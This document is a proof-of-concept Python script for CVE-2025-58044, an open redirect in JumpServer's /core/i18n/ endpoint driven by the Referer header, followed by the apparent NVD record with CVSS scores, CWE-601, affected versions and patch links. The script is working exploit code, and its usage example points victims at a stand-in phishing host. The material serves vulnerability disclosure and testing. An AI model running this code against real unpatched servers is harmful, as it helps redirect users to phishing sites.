CVE-2025-58044

import requests import sys def exploit_open_redirect(target_url, redirect_target): """ PoC for CVE-2025-58044: JumpServer Open Redirect Vulnerability Args: target_url: Base URL of vulnerable JumpServer instance redirect_target: Malicious URL to redirect victims to Returns: Response headers showing the redirect """ endpoint = f"{target_url.rstrip('/')}/core/i18n/" headers = { 'Referer': redirect_target, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(endpoint, headers=headers, allow_redirects=False, timeout=10) print(f"[*] Target: {endpoint}") print(f"[*] Malicious Referer: {redirect_target}") print(f"[*] Status Code: {response.status_code}") if 'Location' in response.headers: print(f"[*] Redirect Location: {response.headers['Location']}") if redirect_target in response.headers.get('Location', ''): print("[!] VULNERABLE: Open redirect confirmed!") return True print("[-] No open redirect detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <redirect_url>") print(f"Example: python {sys.argv[0]} https://jumpserver.example.com https://evil.attacker.com/phishing") sys.exit(1) exploit_open_redirect(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2025-58044", "sourceIdentifier": "[email protected]", "published": "2025-12-01T21:15:51.807", "lastModified": "2025-12-05T19:48:05.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.19 and v4.10.5, The /core/i18n// endpoint uses the Referer header as the redirection target without proper validation, which could lead to an Open Redirect vulnerability. This vulnerability is fixed in v3.10.19 and v4.10.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.10.19", "matchCriteriaId": "E81ADCFD-E0E8-48C3-B232-2A50132C47B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.10.5", "matchCriteriaId": "3E2FED16-0348-4675-9FF2-FA0DAF4433D4"}]}]}], "references": [{"url": "https://github.com/jumpserver/jumpserver/commit/36ae076cb021f16d2053a63651bc16d15a3ed53b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jumpserver/jumpserver/security/advisories/GHSA-h762-mj7p-jwjq", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}